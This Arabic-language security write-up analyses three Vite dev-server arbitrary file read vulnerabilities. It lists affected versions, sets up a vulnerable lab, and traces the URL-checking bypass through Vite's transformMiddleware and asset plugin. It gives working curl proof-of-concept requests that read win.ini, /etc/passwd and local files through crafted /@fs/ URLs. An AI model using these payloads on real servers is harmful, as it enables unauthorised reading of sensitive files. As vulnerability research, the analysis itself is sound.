CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486

1. نظرة عامة على الثغرات

CVE-2025-30208 وCVE-2025-31125 وCVE-2025-31486 هي ثغرات قراءة ملفات تعسفية في خادم التطوير Vite. تسمح هذه الثغرات للمهاجم بتجاوز ضوابط الوصول عبر معاملات URL محددة، وقراءة الملفات الحساسة على الخادم من خلال وحدة fs. يمكن اعتبار الثغرات الثلاث المذكورة أعلاه سلسلة واحدة من الثغرات، لأن الأسباب التي أدت إلى حدوثها متشابهة جدًا.

الإصدارات المتأثرة بـ CVE-2025-30208 هي كما يلي

>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9

الإصدارات المتأثرة بـ CVE-2025-31125 هي كما يلي

>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10

الإصدارات المتأثرة بـ CVE-2025-31486 هي كما يلي

>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11

2 إعداد البيئة

لإعداد بيئة الثغرة محليًا من الصفر، ابدأ بإنشاء مشروع عبر create-vite

npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env

قد تتضمن نسخة Vite في ملف package.json المُنشأ علامة ^ (مثل "vite": "^6.2.0")، لذا يجب تعديلها يدويًا إلى رقم إصدار دقيق (مثل "vite": "6.2.0")، ثم تنفيذ:

npm install

وأخيرًا ابدأ تشغيل البيئة:

npm run dev

يمكنك أيضًا استخدام مجلد vuln-env الموجود في هذا المستودع مباشرة، وبعد تنفيذ npm install ثم npm run dev سيعمل كل شيء.

3. إعادة إنتاج الثغرات

لتسهيل الأمر، تمت إعادة إنتاج الثغرات الثلاث على الإصدار 6.2.0. نفّذ npm run dev وانتظر حتى تبدأ البيئة.

POC الخاص بـ CVE-2025-30208

curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"

curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

POC الخاص بـ CVE-2025-31125

curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"

curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"

المحتوى المقروء يكون مشفرًا بـ base64، وبعد فك التشفير يمكن الحصول على محتوى الملف الأصلي.

POC الخاص بـ CVE-2025-31486

curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"

curl  "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"

POC الخاص بالقراءة عبر المسارات النسبية والمذكور في النشرة الأمنية هو كما يلي

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

x يمثل مسار المشروع المحلي، وPOC للاختبار المحلي هو كما يلي

curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"

يمكن ملاحظة أن POC تنقسم أساسًا إلى فئتين: تلك التي لا تتطلب إضافة HTTP Header يجب أن تحتوي على ?import&. سنترك هذا الأمر جانبًا الآن، وسنشرحه في مرحلة تحليل الشيفرة المصدرية.

4. تحليل الشيفرة المصدرية

4.1 CVE-2025-30208

تحليل الشيفرة المصدرية يتطلب التصحيح، وهنا نصحح المشروع عبر vscode، ومحتوى ملف launch.json هو كما يلي.

{
    "version": "0.1.0",
    "configurations": [
      {
        "type": "node",
        "request": "launch",
        "name": "Debug Vite & Node Modules",
        "runtimeExecutable": "npm",
        "runtimeArgs": ["run", "dev"],
        "skipFiles": ["<node_internals>/**"],
      }
    ]
  }

من خطة الإصلاح الرسمية، تم تعزيز عبارة if في دالة transformMiddleware الخاصة بالتحقق من تنسيق URL وتحديد ما إذا كان يمكن الوصول إلى الخدمة. لذا سنضع نقطة توقف في دالة transformMiddleware ونتابع عملية تحليل الطلب.

نظرًا لأن المشروع المُنشأ يحتوي فقط على ملفات js المترجمة، فسنضيف نقطة التوقف بالبحث عن الكلمة المفتاحية للدالة في الملف بأكمله.

عند تنفيذ POC، توقفنا بنجاح عند الدالة المستهدفة. يمكن ملاحظة أنه بعد تعيين بعض المتغيرات، تدخل عملية الاستدعاء إلى دالة viteTransformMiddleware، وبعد التحقق مما إذا كانت طريقة الطلب هي GET وما إذا كان الطلب موجهًا للدليل الجذر أو للأيقونة، تتم إزالة ? في نهاية الـ url عبر removeTimestampQuery.

/@fs/c:/windows/win.ini?import&raw??
                  ⬇
/@fs/c:/windows/win.ini?import&raw?

عبر cleanUrl() يتم الحصول على URL بدون معاملات الطلب، وعندها تكون قيمة withoutQuery هي "/@fs/c:/windows/win.ini"، لذلك لن يتم الدخول إلى كتلة الكود if (!isSourceMap). بعد ذلك، يتم التحقق عبر publicDirInRoot مما إذا كان دليل الموارد الثابتة موجودًا في الدليل الجذر للمشروع، ويتحقق url.startsWith(publicPath) مما إذا كان URL المطلوب يبدأ بالمسار العام المُعدّ (مثل /public/). عندما يتحقق الشرطان معًا، يتم استدعاء warnAboutExplicitPublicPathInUrl(url) لإصدار تحذير. وهذا يشير عادةً إلى أن المطور ربما أضاف المسار العام بشكل مكرر خاطئ في الكود. لا يتوافق الـ URL مع الشروط، لذلك تم تجاوز كتلة الكود المقابلة أيضًا. نتيجة rawRE.test(url) وurlRE.test(url) كلاهما False، لذلك لا يتم تقييم نتيجة ensureServingAccess()، بل يتم تعيين نتيجة التعبير المنطقي مباشرة إلى False وتجاوز كتلة الكود. في عبارة if التالية مباشرة، يتوافق الـ URL مع الصيغة المعرّفة بواسطة ImportQueryRE فيدخل إلى محتوى كتلة if، ويتغير الـ URL عبر دالة removeImportQuery() إلى /@fs/c:/windows/win.ini?raw، ثم يُرسل إلى دالة transformRequest().

/@fs/c:/windows/win.ini?import&raw?
                  ⬇
/@fs/c:/windows/win.ini?raw

في عبارة if الخاصة بالتحقق من isJSRequest(url)، يمكن ملاحظة أنها تتحقق أيضًا مما إذا كانت قيمة sec-fetch-dest في HTTP Header هي script، وإذا كانت كذلك فسيتم اجتياز التحقق أيضًا. وهذا هو سبب تقسيم POC إلى فئتين كما ذُكر سابقًا: إضافة HTTP Header و?import& كلاهما يهدف إلى اجتياز التحقق في عبارة if. (في الواقع يمكن اجتياز التحقق بطرق أخرى أيضًا، مثل عبر isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

بعد معالجة المعاملات، وفحص البيئة، والتحقق من مفتاح التخزين المؤقت وطلبات التكرار، يتم الدخول إلى دالة doTransform().

بعد فحص صلاحية التخزين المؤقت، يتم تحليل URL /@fs/c:/windows/win.ini?raw للحصول على المعرف c:/windows/win.ini?raw​، ثم الدخول إلى دالة loadAndTransform().

بعد بعض عمليات التعيين أيضًا، يتم تحميل الإضافات (plugins) بناءً على قيمة id. ترتيب تحميل الإضافات هو كما يلي

vite:optimized-deps
        ↓
vite:modulepreload-polyfill
        ↓
vite:resolve
        ↓
vite:html-inline-proxy
        ↓
vite:css
        ↓
vite:wasm-helper
        ↓
vite:worker
        ↓
vite:asset

سبب CVE-2025-30208 هو أن الـ URL الذي صمّمه المهاجم بدقة، بعد تحليله ومعالجته، اجتاز التحقق if (rawRE.test(id)) في إضافة assetPlugin، ثم أُرسل إلى دالة fsp.readFile() مما أدى إلى قراءة ملف محلي.